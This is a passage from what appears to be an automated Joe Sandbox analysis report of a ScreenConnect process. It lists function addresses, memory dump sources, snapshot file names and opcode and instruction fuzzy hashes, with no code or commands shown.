                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 1ac916ad875b36cf7ea80e72e3630b33dc25dd233c70bac80a654cd1a1beb433
                                                                                                                • Instruction ID: bf9c8c1ff776c36d6d73a24a82fe70e9eca73bf325b56cb0dc6d1df6fcb88ab4
                                                                                                                • Opcode Fuzzy Hash: 1ac916ad875b36cf7ea80e72e3630b33dc25dd233c70bac80a654cd1a1beb433
                                                                                                                • Instruction Fuzzy Hash: A021C575F006488FDB11DF68D8504ADF7B1EF89A547108B6AC15ADB312DB30E906CB91
                                                                                                                Function 01F5D670 Relevance: .1, Instructions: 75COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2470188019.0000000001F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01F5D000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_1f5d000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 1697b171e690c63574c7476c5b765314953df8d329810359c36bc5f07631dfa7
                                                                                                                • Instruction ID: f1165b2815b8215bf9b5599a9303ea620d018f2a743041ecb91fe77c83b7cb22
                                                                                                                • Opcode Fuzzy Hash: 1697b171e690c63574c7476c5b765314953df8d329810359c36bc5f07631dfa7
                                                                                                                • Instruction Fuzzy Hash: 8A2145B2904280DFDB15DF54D9C0B26BFA5FB88310F208169EE094B256C337D456CBA2
                                                                                                                Function 04876860 Relevance: .1, Instructions: 70COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b861a19ad01eb7929637e18f148d256a0fcb8052f217d1cbfee919a34915feb5
                                                                                                                • Instruction ID: e0b6d492efe0b5e69cd662a5b229be307895c57629f543db407b975ca74583b1
                                                                                                                • Opcode Fuzzy Hash: b861a19ad01eb7929637e18f148d256a0fcb8052f217d1cbfee919a34915feb5
                                                                                                                • Instruction Fuzzy Hash: 74210531A012198FEF14DBA4C564BADBBB2BF8D314F104569E00ABB361DB74EC40CB90
                                                                                                                Function 048746D0 Relevance: .1, Instructions: 67COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 1eaba3d215dde7fbcca0722cdfb79514bff77a7c1ee119731327219b568eb6d5
                                                                                                                • Instruction ID: 4d7fe169e8d2a3386d29caac32b2f77dad6c7355b2588958a7ffd21f60687742
                                                                                                                • Opcode Fuzzy Hash: 1eaba3d215dde7fbcca0722cdfb79514bff77a7c1ee119731327219b568eb6d5
                                                                                                                • Instruction Fuzzy Hash: 7E115C727013544FEB11AB3C8860A5EF7F5DFC6694701899ED419CB322EB70EC058792
                                                                                                                Function 04872960 Relevance: .1, Instructions: 66COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 952f903d9e125aec605566073120a37d0316fb618f2063c3992d10c46a693ed3
                                                                                                                • Instruction ID: f54b8285604aeb4b1ccfdf1d6916cc3939c14581e1ce5a348487f113cd06f047
                                                                                                                • Opcode Fuzzy Hash: 952f903d9e125aec605566073120a37d0316fb618f2063c3992d10c46a693ed3
                                                                                                                • Instruction Fuzzy Hash: BA21A831A0120D9BDB259F64D864BAEBAB1EF89714F184AA8D402F7391DE719C81DB60
                                                                                                                Function 0487360B Relevance: .1, Instructions: 65COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 5aeacfff5bc4205f178a768b58af048523f705dc4cb2ae5a3fc7587904faf03d
                                                                                                                • Instruction ID: 6871e80ea41ef54507c953ad147f736292e387a284366e2370397e147c00bc98
                                                                                                                • Opcode Fuzzy Hash: 5aeacfff5bc4205f178a768b58af048523f705dc4cb2ae5a3fc7587904faf03d
                                                                                                                • Instruction Fuzzy Hash: A921C070201342AFE315EB20E854AA9F7A6FF94304F008A69D5059B795CFB1FC05CBD1
                                                                                                                Function 048716F1 Relevance: .1, Instructions: 64COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 30f6d911858b6a02715070e79ee56dcd5f99ada42ce91a9f4cd905fc82ed1cb6
                                                                                                                • Instruction ID: c30f154852b4f236b6acbff786d7d8b1cacd733deed360445858ca2849a75817
                                                                                                                • Opcode Fuzzy Hash: 30f6d911858b6a02715070e79ee56dcd5f99ada42ce91a9f4cd905fc82ed1cb6
                                                                                                                • Instruction Fuzzy Hash: 452148B68002499FCF11CF9AC884BDEBBB1FB88350F148529E964A7210C375A555CFA1
                                                                                                                Function 04872970 Relevance: .1, Instructions: 63COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 3a7277873f7fb62f25440215758798ce8d8ce8ecaa6a566b46d175788b2eae74
                                                                                                                • Instruction ID: efb48999a1f3963a64b59a5ce58f3e0b66e082f293cf48697c00f25774e23c1a
                                                                                                                • Opcode Fuzzy Hash: 3a7277873f7fb62f25440215758798ce8d8ce8ecaa6a566b46d175788b2eae74
                                                                                                                • Instruction Fuzzy Hash: E4212131B0120D8BDB25DFA4D464BAEBAB6AF88710F184968D402F7395DF71AC81DB64
                                                                                                                Function 04870BEC Relevance: .1, Instructions: 61COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e4df53d34e8ed2f0b6c275e71853b58c9b6d57370d1f072635ddabec975789c9
                                                                                                                • Instruction ID: a63fceb24cb858c7a8ea6e92b7ab05e83a7c47e48707abea393969cfa4e2c2d8
                                                                                                                • Opcode Fuzzy Hash: e4df53d34e8ed2f0b6c275e71853b58c9b6d57370d1f072635ddabec975789c9
                                                                                                                • Instruction Fuzzy Hash: D8211A31D10B0A99CB00EFB9C8502EAFBB4EF99310F10CB6AD559B7110FB70A2958B91
                                                                                                                Function 048716F8 Relevance: .1, Instructions: 61COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b835f363257e2b77d6d91de9f18bf93cd1f05821c27640f1d191918900788809
                                                                                                                • Instruction ID: e28d3e6fe1b2874a7f2aaa6b2d201f5baa4ed0df54ed89dd9576dac80cc59e50
                                                                                                                • Opcode Fuzzy Hash: b835f363257e2b77d6d91de9f18bf93cd1f05821c27640f1d191918900788809
                                                                                                                • Instruction Fuzzy Hash: 632137B68002499FDF10CF9AC844BDEBBB5FB88350F148529E964A7610C375A555CFA1
                                                                                                                Function 04870040 Relevance: .1, Instructions: 60COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: ec11a3a0144878e1f31b64a0a3459e6f57992dbd3bfe413da4919483c65cad2d
                                                                                                                • Instruction ID: 7b84b0533efb7ddb150e07f660639f89263a442c6a4cd4361299475dd8740a56
                                                                                                                • Opcode Fuzzy Hash: ec11a3a0144878e1f31b64a0a3459e6f57992dbd3bfe413da4919483c65cad2d
                                                                                                                • Instruction Fuzzy Hash: AA115171B003069FDB00EFA9D8859AEF7B5FF89254B408629D519EF710DB31ED058B91
                                                                                                                Function 04873E23 Relevance: .1, Instructions: 60COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b61e35eff800af30520ef7767993f3c0047e31a4449104a393b560c26553b3e8
                                                                                                                • Instruction ID: 775a209c5f623fefaf00d164863e9d1b987fc57033e90b2d697080aa367145f2
                                                                                                                • Opcode Fuzzy Hash: b61e35eff800af30520ef7767993f3c0047e31a4449104a393b560c26553b3e8
                                                                                                                • Instruction Fuzzy Hash: 76216F78A012499FDB45EFA4E86C5AEBBB2FF84304B008994D605F7355DB34ED04CBA1
                                                                                                                Function 048718F0 Relevance: .1, Instructions: 59COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: f353c6a6f8614aa9aef07c34aeec672feb1c184401a0e52cbf2914475a1849ca
                                                                                                                • Instruction ID: 5a4ad44373561d6fe21c14cf54e264868cfdfa15c80d7a40b732d56704ffe147
                                                                                                                • Opcode Fuzzy Hash: f353c6a6f8614aa9aef07c34aeec672feb1c184401a0e52cbf2914475a1849ca
                                                                                                                • Instruction Fuzzy Hash: 1801C4363052108F8715EB29F49496ABBA6EBD9231315853AE109CB316CB32DC038764
                                                                                                                Function 01F5D66B Relevance: .1, Instructions: 56COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2470188019.0000000001F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01F5D000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_1f5d000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 7eeef5218b486746d9d977ed8f290ce031770864af54224cc3c559f8a35fd6c7
                                                                                                                • Instruction ID: ddef10132663768fa422fa7b447fd950a784a23158043e6c53c57a4ff67d91a6
                                                                                                                • Opcode Fuzzy Hash: 7eeef5218b486746d9d977ed8f290ce031770864af54224cc3c559f8a35fd6c7
                                                                                                                • Instruction Fuzzy Hash: E611AF76904280CFDB16CF54D9C4B56BF62FB88324F2486A9DD094B257C336D456CBA1
                                                                                                                Function 04873E30 Relevance: .1, Instructions: 56COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 58d098c301b1402c52236d5a255e873245740c6778646f324518ce664ebfa758
                                                                                                                • Instruction ID: 8fcf6c4490cb34c8d9c9bcd8885f45dc69cc415691b0761f94d4f37de2738601
                                                                                                                • Opcode Fuzzy Hash: 58d098c301b1402c52236d5a255e873245740c6778646f324518ce664ebfa758
                                                                                                                • Instruction Fuzzy Hash: 7A21ED78A012099FDB44EFA8E96D9AEBBB1FB84704B108954D605E7354DB34ED04CBA1
                                                                                                                Function 048741AB Relevance: .1, Instructions: 55COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e31e6f5c0406dd53fb419d1d0b33c84bc1f17ef72e87c3f553e6caf111dfa091
                                                                                                                • Instruction ID: f675db29023ccb109d05aabc551a726599da36a0d691dd02fc2088ba42b7442f
                                                                                                                • Opcode Fuzzy Hash: e31e6f5c0406dd53fb419d1d0b33c84bc1f17ef72e87c3f553e6caf111dfa091
                                                                                                                • Instruction Fuzzy Hash: E811E532B003258FEB10BF6498541EEB7B2EF95654F104A6FC505E7745EA70ED068BA0
                                                                                                                Function 048709E3 Relevance: .1, Instructions: 54COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 0557e618c9820c5a0f6924797839391d2a874a885a35950da555f9d9e5509b7b
                                                                                                                • Instruction ID: bd66ac509d19ed1c83127d7aca2a7c839c5767a7686f0d3f3e1cc80315778c44
                                                                                                                • Opcode Fuzzy Hash: 0557e618c9820c5a0f6924797839391d2a874a885a35950da555f9d9e5509b7b
                                                                                                                • Instruction Fuzzy Hash: 051126766093805FD302DF19D460D99BFA5EF9B21071688DBE448CB352D631EC42C761
                                                                                                                Function 04876EA8 Relevance: .1, Instructions: 52COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 98489c0b3da51dfe8bf31886604c336d0b73ffca6b2641d4dc2862086d0cca57
                                                                                                                • Instruction ID: 30725120e65f4688bf657627c86b9250277f1802a91cb5b0c4013b80c2e1dad1
                                                                                                                • Opcode Fuzzy Hash: 98489c0b3da51dfe8bf31886604c336d0b73ffca6b2641d4dc2862086d0cca57
                                                                                                                • Instruction Fuzzy Hash: C1019236700B128F9721EF55D094A1AB7E6AFCC2243244568E95AEB311EF30FC02DBD0
                                                                                                                Function 04876B58 Relevance: .0, Instructions: 49COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: eb2ddfcf687844c387405e6caff96b4e741fd29ad7159259d9ecf02b79297371
                                                                                                                • Instruction ID: 8e432558328579a242655925dd92051c40d2b0612a1e45ae3c6b6c4316440ff7
                                                                                                                • Opcode Fuzzy Hash: eb2ddfcf687844c387405e6caff96b4e741fd29ad7159259d9ecf02b79297371
                                                                                                                • Instruction Fuzzy Hash: 6C01B1313007061FA301B76998549AEB387EFC42A47508A29D75AEB354EE31EC0987D1
                                                                                                                Function 04871860 Relevance: .0, Instructions: 49COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b49c2f3dc9a6a248690e59420f30af1424e3340940c8ec2aba973e3026862473
                                                                                                                • Instruction ID: a10aeec737beea88634c6dad794adf40140ae4cc839e21ae6037c0e63acac9ca
                                                                                                                • Opcode Fuzzy Hash: b49c2f3dc9a6a248690e59420f30af1424e3340940c8ec2aba973e3026862473
                                                                                                                • Instruction Fuzzy Hash: 9E01F12670A3D00FD3139736A864657BFB6DFC350470989ABD189CB753DE24E80987E1
                                                                                                                Function 048766F0 Relevance: .0, Instructions: 47COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a523320d1e6b274735a1c8811352fc10d113ef3f7be07d9e88cde4e437784eeb
                                                                                                                • Instruction ID: 367bdaf7ecd779de3b0c4773847ba22b9e274a8802efde03ed2bf5e94cf065db
                                                                                                                • Opcode Fuzzy Hash: a523320d1e6b274735a1c8811352fc10d113ef3f7be07d9e88cde4e437784eeb
                                                                                                                • Instruction Fuzzy Hash: 5001887570424A9FCB15CFACD8109EEBBB5EF85265B004577D504E7201E730E914C7A1
                                                                                                                Function 01F5D01D Relevance: .0, Instructions: 45COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2470188019.0000000001F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01F5D000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_1f5d000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b77c4531a811addb4f019227c0a12e0491d1e9735460fe6ff875550b2448ffba
                                                                                                                • Instruction ID: f1b3024ccb35afcc311ce32af51d8d66423c378e48d3686b8e38468622851bc5
                                                                                                                • Opcode Fuzzy Hash: b77c4531a811addb4f019227c0a12e0491d1e9735460fe6ff875550b2448ffba
                                                                                                                • Instruction Fuzzy Hash: D501DB31405340DBE7504E65CCC4B67BF98DF812A4F18C55AEE4D4F28BC27AD942CAB2
                                                                                                                Function 01F5D005 Relevance: .0, Instructions: 45COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2470188019.0000000001F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01F5D000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_1f5d000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: af696887b759332e847923c82b5e97bbb54f2ad7da70b76222f37bedfb58527b
                                                                                                                • Instruction ID: d21a8a28d5f7412e933653d5f21d3b510e99c453b00a7aaf861ecff32aba1bac
                                                                                                                • Opcode Fuzzy Hash: af696887b759332e847923c82b5e97bbb54f2ad7da70b76222f37bedfb58527b
                                                                                                                • Instruction Fuzzy Hash: D801407140E3C09FD7128B258894B52BFB8EF43224F19C1DBDD888F1A7C2695845CB72
                                                                                                                Function 04876DB0 Relevance: .0, Instructions: 37COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 09e44106e92359a85dd004b3becaf76703187ba94418b02c0180654dcaf32a9a
                                                                                                                • Instruction ID: 3b7a418c3ac8bdd56b2ea47c79623c578da56468f5b87faf40e0676d3827a9e9
                                                                                                                • Opcode Fuzzy Hash: 09e44106e92359a85dd004b3becaf76703187ba94418b02c0180654dcaf32a9a
                                                                                                                • Instruction Fuzzy Hash: A5F0C2327043404FE706DB78981048EBBA2EFD6254304C9AAD109DB365EE32EC06CB90
                                                                                                                Function 048714B3 Relevance: .0, Instructions: 36COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: ebf33d56efcc6b1f721d7a4b28500921b20553425b2223b7c42146550fe3e62d
                                                                                                                • Instruction ID: 73919d7f6614a1b3fabb5bf03a8cef45505b30e6d08f88c4e8f43e21cd155e1a
                                                                                                                • Opcode Fuzzy Hash: ebf33d56efcc6b1f721d7a4b28500921b20553425b2223b7c42146550fe3e62d
                                                                                                                • Instruction Fuzzy Hash: 18F0B436300218AFAF059FA9AC409FE3FA7FBCC364B008129F519D7350DA32981297A5
                                                                                                                Function 0487676B Relevance: .0, Instructions: 35COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 06bda3863303a9f79b892a6f821fbd99797db5b63eeaa3a67205e632e3af3e4d
                                                                                                                • Instruction ID: 6132f3c4370bdaa097c34d642be76923e11669c0e21dfa182afecf653cfae52a
                                                                                                                • Opcode Fuzzy Hash: 06bda3863303a9f79b892a6f821fbd99797db5b63eeaa3a67205e632e3af3e4d
                                                                                                                • Instruction Fuzzy Hash: D1F06D7038A7804FC74ADB3CE8A48993FB1EF4B35038654EAD049CF2A7DA189C06D751
                                                                                                                Function 04871888 Relevance: .0, Instructions: 34COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 14afd2b4a0821933a55fa852d30c3eb209e2cc61729bf9eefcac56f5e8711abe
                                                                                                                • Instruction ID: 42324d03b1e48a7e8acce1a92a22b9fe40458753f4c43e25dc731e23811ce4ff
                                                                                                                • Opcode Fuzzy Hash: 14afd2b4a0821933a55fa852d30c3eb209e2cc61729bf9eefcac56f5e8711abe
                                                                                                                • Instruction Fuzzy Hash: 61F082757003055BA311EB5BB85485BFBDBEBC4A54704CA29E609CB704DE65FC084BD0
                                                                                                                Function 048778E0 Relevance: .0, Instructions: 34COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: f79d8e11e290b4562e8251f112c179d98ba234b8e03e9ed6dae2481f8ba8c6c6
                                                                                                                • Instruction ID: ea60cc4a94c0463b58cbafdf1570397c51a74b1ee8a60735b375c622b83c9b99
                                                                                                                • Opcode Fuzzy Hash: f79d8e11e290b4562e8251f112c179d98ba234b8e03e9ed6dae2481f8ba8c6c6
                                                                                                                • Instruction Fuzzy Hash: 66F0CD7490C2C08FC7529F7898605E87FF0DF0B140B1908EAD4C8CB223D2219901DBA1
                                                                                                                Function 04877877 Relevance: .0, Instructions: 34COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 6ed6583c78a03e8ebc311cdfdd15b9af8f5b1dfd6868915396890bdc1fb8db23
                                                                                                                • Instruction ID: c6d81d2429f4510739e29add7d9d507c61d3428203999ef3d2299ae6e02d29c9
                                                                                                                • Opcode Fuzzy Hash: 6ed6583c78a03e8ebc311cdfdd15b9af8f5b1dfd6868915396890bdc1fb8db23
                                                                                                                • Instruction Fuzzy Hash: A7F0823060A2859FCB43DF78D9656D97FB0EF47108B0445CBC488DB253CE206E06DB52
                                                                                                                Function 04874CC0 Relevance: .0, Instructions: 32COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 0e980e22d51e6484c9f5e73c7bf578dda9969b0892c54e82d345249423c08621
                                                                                                                • Instruction ID: e118ed597fd28f6163e83b276b475aefac3feacf10d17bcdb3f0cbe1aee91f00
                                                                                                                • Opcode Fuzzy Hash: 0e980e22d51e6484c9f5e73c7bf578dda9969b0892c54e82d345249423c08621
                                                                                                                • Instruction Fuzzy Hash: 2BF06D38A0120AEFDF00EF64F83876ABBF0EB44B05F108E25D610D7244DB78A9858B81
                                                                                                                Function 04874CB0 Relevance: .0, Instructions: 31COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
